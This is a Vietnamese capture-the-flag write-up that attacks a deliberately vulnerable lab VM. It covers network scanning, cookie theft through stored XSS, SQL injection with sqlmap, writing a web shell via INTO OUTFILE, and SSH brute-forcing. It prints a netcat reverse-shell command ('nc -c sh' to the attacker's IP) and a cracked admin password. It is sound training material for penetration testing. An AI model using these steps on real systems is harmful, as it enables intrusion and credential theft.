Link truy cập và tải lab !
Khởi chạy lab - vuln machine trên VMware. Vì Lab chạy trên cùng interface mạng với máy Kali (ở đây dùng làm máy tấn công), sử dụng netdiscover để tìm địa chỉ IP của Lab:
Địa chỉ IP của máy Kali: 192.168.68.136/24
Sử dụng netdiscover, tùy chọn -r (range) chỉ định phạm vi giải địa chỉ tương ứng với máy Kali:
Kết quả ở trên, ta suy ra địa chỉ của máy Lab là 192.168.68.162, các địa chỉ còn lại mặc định là địa chỉ Gateway, máy thật, máy kali.
Tiếp theo, mình do quét các cổng đang mở của máy lab:
Kết quả có 2 port đang mở. Việc chỉ định -p-, -T4 để scan trên tất cả các port và tăng tốc độ scan. Chạy thêm 1 lệnh nmap để scan chi tiết trên các cổng đang mở này:
Tùy chọn -sC để chạy script scan mặc định, -sV để scan version , kết quả port 22 chạy ssh OpenSSH 5.5p1, port 80 chạy web Apache httpd 2.2.16.
Mở browser và truy cập 192.168.68.162, port 80 ,ta được giao diện web như sau:
Đây là 1 trang blog đơn giản, dạo qua web một vòng, truy cập các post thì chỉ có tính năng bình luận, truy cập Admin thì sẽ hiện ra form login đăng nhập:
Tạm thời bỏ qua, trước khi test thủ công, ta chạy gobuster để dò tìm các folder, file ẩn trên web:
Truy cập vào các đường dẫn trên không thu được gì thú vị và có thể khai thác. Sử dụng extension Wappalyzer để xem thông tin trang web:
Ta biết được trang web được viết bằng php, chạy trên máy chủ Apache 2.2.16, hệ điều hành,...
Quay lại trang blog, trang có tính năng commment, ta có thể test ngay đến các lổ hổng XSS, SSTI,... Thử ngay với payload test XSS do gợi ý từ tên lab có XSS :> :
Kết quả, dính XSS stored ở tính năng comment:
Lỗi XSS này, ta nghĩ tới ngay việc khai thác đánh cắp cookie người dùng. Để khai thác XSS này, giả sử admin hoặc người dùng truy cập trang web xem comment, khi đó XSS sẽ điều hướng đến trang C2 do ta kiểm soát. Trước tiên, ta tạo máy C2 để nhận cookie từ người dùng:
Ta tạo file index.php:
Sau đó host trên local sử dụng php option -S:
Quay lại trang blog, tạo payload khai thác như sau:
Submit comment chứa payload, sau đó, khi admin truy cập đọc comment, ta lấy được cookie như sau:
Update lại cookie của admin, ta truy cập được vào trang admin trên blog:
Mình đã thử qua các chức năng mới của admin, scan Burpsuite tới chức năng edit post, có vẻ bị dính SQL Injection:
Truy cập trang edit một post bất kỳ, thấy có tham số id trên url, mình đã thử inject ký tự ', và kết quả có thông báo lỗi hàm mysql_fetch_assoc(), lỗi truy vấn SQL:
Sử dụng Sqlmap để scan url với tham số id:
Thực hiện dump dữ liệu với option -dump, ngoài các table chứa dữ liệu post, ta còn thu được thông tin đăng nhập của user admin với pass được crack là :"P4ssw0rd".
Truy cập login , login thành công với user admin với password bên trên.
Sau khi tìm hiểu khai thác sql injection, mình thấy lỗi này có thể khai thác để ghi file vào hệ thống. Mình search trên google nói về sql-to-shell, tận dụng cách trong bài viết này, mình upload shell sử dụng toán tử UNION và hàm "into outfile" có trong Mysql để ghi file.
Dựa vào kết quả các thư mục tìm được từ công cụ Gobuster, sau nhiều lần thử, mình thành công write được vào thư mục /css mà không bị hạn chế về quyền:
Truy cập /css để kiểm tra:
Kết quả , file được up thành công, test thử vài truy vấn đơn giản như ls,whoami để kiểm tra RCE thành công:
Sau khi thử vài payload trên revshell, ta thành công với đoạn lệnh sau: nc -c sh 192.168.68.136 4444
Tuy nhiên, người dùng www-data này không có quyền root. Thử đọc file /etc/passwd:
Thấy ngoài root, ta còn thấy người dùng user, brute-force "user" với msf sử dụng ssh_login module:
Đăng nhập với user:pass vừa tìm được: